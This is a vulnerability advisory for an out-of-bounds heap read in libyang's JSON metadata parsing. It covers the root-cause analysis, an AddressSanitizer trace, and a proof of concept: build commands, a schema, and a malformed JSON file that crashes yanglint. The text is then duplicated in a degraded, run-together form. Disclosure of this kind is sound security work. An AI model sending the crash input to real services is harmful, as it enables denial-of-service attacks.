Summary
Parsing an untrusted JSON data instance that carries malformed metadata makes libyang read 8 bytes past the end of a heap-allocated data node in lydjson_metadata_finish(). The out-of-bounds read is reachable through the public lyd_parse_data() API.
Details
When a JSON metadata key (@module:node) appears before its corresponding data node, lydjson_parse_attribute() cannot find the target node and falls back to parsing the entire @... block as an opaque node with LYD_PARSE_OPAQ enabled:
/* src/parser_json.c – lydjson_parse_attribute() */
lydctx->parse_opts |= LYD_PARSE_OPAQ;
r = lydjson_ctx_next_parse_opaq(lydctx, opaq_name, ...);
While processing the children of that opaque metadata container, lydjson_subtree_r() calls lydjson_get_snode() with sparent = NULL (because the parent is opaque and has no schema). This makes lys_find_child_node() search at module top-level, so a key such as "example-config:system" resolves to a real container schema node. The resolved node is then created as a proper inner node (lyd_node_inner, 72 bytes) via lyd_create_inner() and inserted as a child of the opaque metadata container.
Later, lydjson_metadata_finish() iterates the children of the metadata container and unconditionally casts every child to lyd_node_opaq *:
/* src/parser_json.c:665-670 */
LY_LIST_FOR(meta_container->child, meta_iter) {
struct lyd_node_opaq *meta = (struct lyd_node_opaq *)meta_iter;
struct lys_module *mod = NULL;
mod = ly_ctx_get_module_implemented(lydctx->jsonctx->ctx, meta->name.prefix); /* OOB read */
lyd_node_opaq.name.prefix is at byte offset 72 from the start of the struct, but the lyd_node_inner child was only allocated as 72 bytes. Reading meta->name.prefix therefore reads 8 bytes immediately past the end of the allocation. AddressSanitizer:
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50700000b4a8
READ of size 8 thread T0
#0 lydjson_metadata_finish src/parser_json.c:670:90
#1 lyd_parse_json src/parser_json.c:2016:9
#2 lyd_parse src/tree_data.c:129:13
#3 lyd_parse_data src/tree_data.c:206:12
#4 parse_input_by_type tools/lint/cmd_data.c:505:15
#5 cmd_data_process tools/lint/cmd_data.c:573:15
#6 main_ni tools/lint/main_ni.c:825:20
#7 main tools/lint/main.c:51:16
0x50700000b4a8 is located 0 bytes after 72-byte region
allocated by thread T0 here:
#0 calloc
#1 lyd_create_inner src/tree_data_new.c:87:10
#2 lydjson_parse_instance_inner src/parser_json.c:1382:5
#3 lydjson_parse_instance src/parser_json.c:1530:17
#4 lydjson_subtree_r src/parser_json.c:1768:17
PoC
Build with AddressSanitizer:
git clone https://github.com/CESNET/libyang.git
cd libyang
git checkout 5435b592f
mkdir build && cd build
cmake -D CMAKE_BUILD_TYPE=Debug -D CMAKE_C_FLAGS="-fsanitize=address,undefined" ..
make -j
Create the YANG schema file1.yang:
cat > file1.yang <<'EOF'
module example-config {
namespace "urn:example:config";
prefix "exconf";
container system {
leaf hostname { type string; }
}
}
EOF
Create the malformed JSON instance crash.json:
cat > crash.json <<'EOF'
{
"@example-config:system": {
"example-config:system": {}
},
"example-config:system": {}
}
EOF
Run yanglint:
./yanglint file1.yang crash.json
The ASan build aborts with the heap-buffer-overflow shown above; a plain release build crashes with SIGSEGV (exit code 139) on the same inputs.
Impact
A heap-buffer-overflow read (CWE-125) triggered by untrusted JSON instance data. Any application that parses attacker-controlled JSON through libyang's public lyd_parse_data() path is affected. The reliably reproducible impact is a denial of service (crash).
Summary
Parsing an untrusted JSON data instance that carries malformed metadata makes libyang read 8 bytes past the end of a heap-allocated data node in
lydjson_metadata_finish(). The out-of-bounds read is reachable through the publiclyd_parse_data()API.Details
When a JSON metadata key (
@module:node) appears before its corresponding data node,lydjson_parse_attribute()cannot find the target node and falls back to parsing the entire@...block as an opaque node withLYD_PARSE_OPAQenabled:While processing the children of that opaque metadata container,
lydjson_subtree_r()callslydjson_get_snode()withsparent = NULL(because the parent is opaque and has no schema). This makeslys_find_child_node()search at module top-level, so a key such as"example-config:system"resolves to a real container schema node. The resolved node is then created as a proper inner node (lyd_node_inner, 72 bytes) vialyd_create_inner()and inserted as a child of the opaque metadata container.Later,
lydjson_metadata_finish()iterates the children of the metadata container and unconditionally casts every child tolyd_node_opaq *:lyd_node_opaq.name.prefixis at byte offset 72 from the start of the struct, but thelyd_node_innerchild was only allocated as 72 bytes. Readingmeta->name.prefixtherefore reads 8 bytes immediately past the end of the allocation. AddressSanitizer:PoC
Build with AddressSanitizer:
Create the YANG schema
file1.yang:Create the malformed JSON instance
crash.json:Run
yanglint:The ASan build aborts with the
heap-buffer-overflowshown above; a plain release build crashes with SIGSEGV (exit code 139) on the same inputs.Impact
A heap-buffer-overflow read (CWE-125) triggered by untrusted JSON instance data. Any application that parses attacker-controlled JSON through libyang's public
lyd_parse_data()path is affected. The reliably reproducible impact is a denial of service (crash).